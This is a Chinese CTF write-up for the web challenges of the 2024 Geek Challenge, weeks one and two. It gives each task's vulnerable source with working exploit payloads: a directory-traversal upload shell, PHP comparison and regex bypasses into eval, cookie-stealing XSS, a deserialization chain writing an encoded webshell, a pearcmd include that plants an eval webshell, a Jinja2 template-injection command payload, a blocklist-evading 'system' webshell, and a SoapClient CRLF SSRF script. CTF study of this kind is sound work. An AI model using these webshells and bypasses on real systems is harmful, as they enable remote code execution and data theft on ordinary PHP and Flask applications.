2024极客大挑战WEB week1&week2
baby_upload
文件上传黑名单过滤了很多
但是文件路径可控,通过上传..1.php
来穿越目录,访问就拿到shell
- ..是linux的文件目录,通过访问./uploads/..1.php会返回上级目录
ezwaf
<?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
# Can you RCE me?
if (!is_array($_POST["start"])) {
if (!preg_match("/start.*now/is", $_POST["start"])) {
if (strpos($_POST["start"], "start now") === false) {
die("Well, you haven't started.<br>");
}
}
}
echo "Welcome to GeekChallenge2024!<br>";
if (
sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
(string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
echo "You took the first step!<br>";
foreach ($_GET as $key => $value) {
$$key = $value;
}
if (intval($year) < 2024 && intval($year + 1) > 2025) {
echo "Well, I know the year is 2024<br>";
if (preg_match("/.+?rce/ism", $purpose)) {
die("nonono");
}
if (stripos($purpose, "rce") === false) {
die("nonononono");
}
echo "Get the flag now!<br>";
eval($GLOBALS['code']);
} else {
echo "It is not enough to stop you!<br>";
}
} else {
echo "It is so easy, do you know sha1 and md5?<br>";
}
?>
sha1绕过
0e1290633704: 0e19985187802402577070739524195726831799
传参时因为有连续的两个下划线,第一个不变第二个变大括号
start[]=1&_[2024.geekchallenge.ctf=0e1290633704
intval绕过
year=2023e1
preg_match数组绕过
purpose[]=%0arce%0a
Problem_On_My_Web
有一个让后台访问的功能可以传url参数
有一个评论功能我们打一个xss
然后把链接给他
url=http://127.0.0.1
然后再访问即可得到后台的cookie flag
ezpop
源码如下
<?php
Class SYC{
public $starven;
public function __call($name, $arguments){
if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
die('no hack');
}
file_put_contents($this->starven,"<?php exit();".$this->starven);
}
}
Class lover{
public $J1rry;
public $meimeng;
public function __destruct(){
if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
echo "success";
$this->meimeng->source;
}
}
public function __invoke()
{
echo $this->meimeng;
}
}
Class Geek{
public $GSBP;
public function __get($name){
$Challenge = $this->GSBP;
return $Challenge();
}
public function __toString(){
$this->GSBP->Getflag();
return "Just do it";
}
}
if($_GET['data']){
if(preg_match("/meimeng/i",$_GET['data'])){
die("no hack");
}
unserialize($_GET['data']);
}else{
highlight_file(__FILE__);
}
由于过滤了属性名,我们可以用16进制绕过
php死亡绕过,禁用了很多过滤器,但是过滤器可以用url二次编码绕过
构造pop链
<?php
class SYC
{
public $starven;
}
class lover
{
public $J1rry;
public $meimeng;
}
class Geek
{
public $GSBP;
}
$a = new lover();
$b = new Geek();
$d = new lover();
$e = new Geek();
$c = new SYC();
$a->J1rry = 'data://text/plain,Welcome GeekChallenge 2024';
$a->meimeng = $b;
$b->GSBP = $d;
$d->meimeng = $e;
$e->GSBP = $c;
$c->starven = 'php://filter/write=string.%7%32ot13|<?cuc @riny($_CBFG[\'k\']);?>|/resource=2.php';
$q = serialize($a);
$f = str_replace('s:7:"meimeng"', 'S:7:"\\6deimeng"', $q);
echo $f;
ez_include
<?php
highlight_file(__FILE__);
require_once 'starven_secret.php';
if(isset($_GET['file'])) {
if(preg_match('/starven_secret.php/i', $_GET['file'])) {
require_once $_GET['file'];
}else{
echo "还想非预期?";
}
}
require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
进入第二关
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
$file = $_GET ["syc"];
$hint = "register_argc_argv = On";
if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
die("hint都给的这么明显了还不会做?");
}
if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
include $file;
}
}
配置文件中register_argc_argv=on直接打pear文件包含
levelllll2.php?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);?>+/tmp/shell.php
然后包含执行命令
?syc=/tmp/shell.php
1=system('env');
Can_you_Pass_Me
app.py
import random
import re
import os
from flask import Flask, render_template, request, render_template_string
app = Flask(__name__, static_folder='static')
blackList = ['/','flag','+','base','__builtins__','[','cycler','set','{{', 'class','config', 'os', 'popen', 'request', 'session', 'self', 'current_app', 'get', '__globals__', '+', ':', '__globals__', '__init__', '__loader__', '_request_ctx_stack', '_update', 'add', 'after_request','read']
def sanitize_inventory_sold(value):
sanitized_value = str(value).lower()
print(sanitized_value)
for term in blackList:
if term in sanitized_value:
print(term)
return render_template('waf.html')
return sanitized_value
@app.route('/')
def index():
return render_template('index.html')
@app.route('/submit', methods=['GET', 'POST'])
def submit():
if request.method == 'GET':
return render_template('index.html')
else:
name = request.form.get("name")
template = sanitize_inventory_sold(name)
res = render_template_string(template)
env = str(open("/flag").read())
if env in res:
return "}Ï
ýÙ7ú°(ÙÌ"
return "welcome to SycLover 2024 "+res
if __name__ == '__main__':
app.run(debug=False, port=80)
过滤了很多字符和关键字,,经测试题目不出网
用attr绕过括号,~来拼接字符
并且flag不能出现在结果中可以通过list来转换为列表绕过
{%print(lipsum|attr('__glob'~'als__')|attr('__g'~'et'~'item__')('o'~'s'))|attr('pop'~'en')('cd ..;cat f*')|attr('re'~'ad')()|list%}
SecretInDrivingSchool
刚开始有个登录页面,提示密码三位字母爆破出来SYC
登录超级管理员账户,然后发现有修改代码功能
发现源码过滤了很多函数
<?php
if (isset($_POST['save'])) {
$newCode = $_POST['code'];
// Check for dangerous functions
$dangerousFunctions = ['eval', 'exec', 'system', 'shell_exec', 'passthru','popen', 'proc_open','array_filter','call_user_func','POST','GET'];
foreach ($dangerousFunctions as $function) {
if (stripos($newCode, $function) !== false) {
echo "上传的文件内容包含危险函数,上传失败!";
exit();
}
}
file_put_contents('ad.php', $newCode);
header("Location: adChange.php");
echo "广告内容更新成功";
exit();
}
?>
我们写免杀马绕过
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
ez_SSRF
calculator.php
<?php
$admin = "aaaaaaaaaaaadmin";
$adminpass = "i_want_to_getI00_inMyT3st";
#aaaaaaaaaaaadmin:i_want_to_getI00_inMyT3st calculator.php
function check($auth)
{
global $admin, $adminpass;
$auth = str_replace('Basic ', '', $auth);
$auth = base64_decode($auth);
list($username, $password) = explode(':', $auth);
echo $username . "<br>" . $password;
if ($username === $admin && $password === $adminpass) {
return 1;
} else {
return 2;
}
}
if ($_SERVER['REMOTE_ADDR'] !== "127.0.0.1") {
exit("Hacker");
}
$expression = $_POST['expression'];
#Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0
$auth = $_SERVER['HTTP_AUTHORIZATION'];
if (isset($auth)) {
if (check($auth) === 2) {
if (!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
die("Invalid expression");
} else {
$result = eval("return $expression;");
file_put_contents("result", $result);
}
} else {
$result = eval("return $expression;");
file_put_contents("result", $result);
}
} else {
exit("Hacker");
}
h4d333333.php
<?php
error_reporting(0);
if (!isset($_POST['user'])) {
$user = "stranger";
} else {
$user = $_POST['user'];
}
#http://127.0.0.1/calculator.php
if (isset($_GET['location'])) {
$location = $_GET['location'];
$client = new SoapClient(null, array(
"location" => $location,
"uri" => "hahaha",
"login" => "guest",
"password" => "gueeeeest!!!!",
"user_agent" => $user . "'s Chrome"
));
$client->calculator();
echo file_get_contents("result");
} else {
echo "Please give me a location";
}
我们需要通过SoapClient来ssrf配合CRLF请求calculator.php执行命令
由于$client->calculator()
触发了__call
所以会请求$location
python脚本如下之后访问a.txt即可
import requests
import urllib
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url="http://80-f611f1f6-ba2d-4840-8501-39e4ace0f1e7.challenge.ctfplus.cn/h4d333333.php?location=http://127.0.0.1/calculator.php"
sess=requests.session()
post_string="expression=system(\"cat /f* />a.txt\");"
#aaaaaaaaaaaadmin:i_want_to_getI00_inMyT3st
b='wupco^^Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0^^Content-Type: application/x-www-form-urlencoded^^Content-Length: '+str(len(post_string))+'^^^^'+post_string
d=b.replace('^^','\r\n')
data={
"user":d
}
res=sess.post(url,data=data)
print(res.text)
0 条评论
可输入 255 字